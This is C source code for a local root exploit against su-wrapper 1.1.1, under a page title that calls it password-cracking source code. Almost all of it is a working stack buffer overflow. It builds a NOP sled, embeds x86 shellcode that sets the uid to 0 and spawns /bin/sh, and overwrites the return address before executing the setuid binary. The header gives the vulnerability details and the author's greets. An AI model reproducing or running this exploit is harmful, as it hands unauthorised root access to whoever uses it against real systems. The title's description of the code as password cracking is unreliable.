密码破解源代码

				/* - su-wrapper.c - */								/*************************************************************************/				/* /usr/sbin/su-wrapper(su-wrapper 1.1.1) local root exploit.            */				/*                                                                       */				/* Package Description:                                                  */				/* su-wrapper is an little util which lets special users execute         */ 				/* processes under another uid/gid.                                      */				/*                                                                       */				/* Vulnerability Description:                                            */				/* If a long line on the first argument is gived, the program sends      */				/* a SIGSEGV Signal.                                                     */				/*                                                                       */				/* Affected: All Systems who have su-wrapper installed :P                */				/*                                                                       */				/* I don't know if other versions are vulnerable too.                    */				/*                                                                       */				/* This bug was reported to Enrico Weigelt (weigelt@nibiru.thur.de)      */				/*                                                                       */				/* Greets: NOP, dr_fdisk^, yield, vlad, dead, fatal, kuk, neuro, alt3kx, */				/* etc                                                                   */				/*        dex: dexgod@softhome.net  http://www.raza-mexicana.org -     */				/*************************************************************************/								#include 				#include 				#include 				#include 								#define BUFFERSIZE 1032				#define OFFSET 0				#define ALIGN 0								static char shellcode[]=				  "\x29\xc0"                             /* subl %eax, %eax          */				  "\xb0\x46"                             /* movb $70, %al            */				  "\x29\xdb"                             /* subl %ebx, %ebx          */				  "\xb3\x0c"                             /* movb $12, %bl            */				  "\x80\xeb\x0c"                         /* subb $12, %bl            */				  "\x89\xd9"                             /* movl %ebx, %ecx          */				  "\xcd\x80"                             /* int $0x80                */				  "\xeb\x18"                             /* jmp callz                */				  "\x5e"                                 /* popl %esi                */				  "\x29\xc0"                             /* subl %eax, %eax          */				  "\x88\x46\x07"                         /* movb %al, 0x07(%esi)     */				  "\x89\x46\x0c"                         /* movl %eax, 0x0c(%esi)    */				  "\x89\x76\x08"                         /* movl %esi, 0x08(%esi)    */				  "\xb0\x0b"                             /* movb $0x0b, %al          */				  "\x87\xf3"                             /* xchgl %esi, %ebx         */				  "\x8d\x4b\x08"                         /* leal 0x08(%ebx), %ecx    */				  "\x8d\x53\x0c"                         /* leal 0x0c(%ebx), %edx    */				  "\xcd\x80"                             /* int $0x80                */				  "\xe8\xe3\xff\xff\xff"                 /* call start               */				  "\x2f\x62\x69\x6e\x2f\x73\x68";								unsigned long get_sp(void) {				 __asm__("movl %esp, %eax");				}								void main(int argc, char **argv) {								 int i;								 unsigned long addr;								 char *buffer;								 int buffersize = BUFFERSIZE;				 int offset = OFFSET;				 int align = ALIGN;								 if(argc > 1) offset = atoi(argv[1]);								 if(argc > 2) align = atoi(argv[2]);								 if(argc > 3) buffersize = atoi(argv[3]);								 buffer = (char *)malloc(buffersize +8);								 addr = get_sp() - offset;								 for(i = 0; i < buffersize; i+=4) {				  *(long *)&buffer[i] = 0x90909090;				 }								 *(long *)&buffer[buffersize - 4] = addr;								 *(long *)&buffer[buffersize - 8] = addr;								 memcpy(buffer + buffersize - 8 - strlen(shellcode) - align, shellcode, strlen(shellcode));								 printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");				 				 printf("[x] su-wrapper 1.1.1 local root exploit\n");				 printf("[x] dex: - dexgod@softhome.net  http://www.raza-mexicana.org - \n");								 printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");								 printf("[x] Address = 0x%x, Align = %d, Offset = %d\n", addr, align, offset);								 printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");								 printf("[x] Exploiting...\n");								 if ((execl("/usr/sbin/su-wrapper", "su-wrapper", buffer, NULL)) != 0) {				  printf("Could not start su-wrapper, /usr/sbin/su-wrapper exists?\n");				 }								}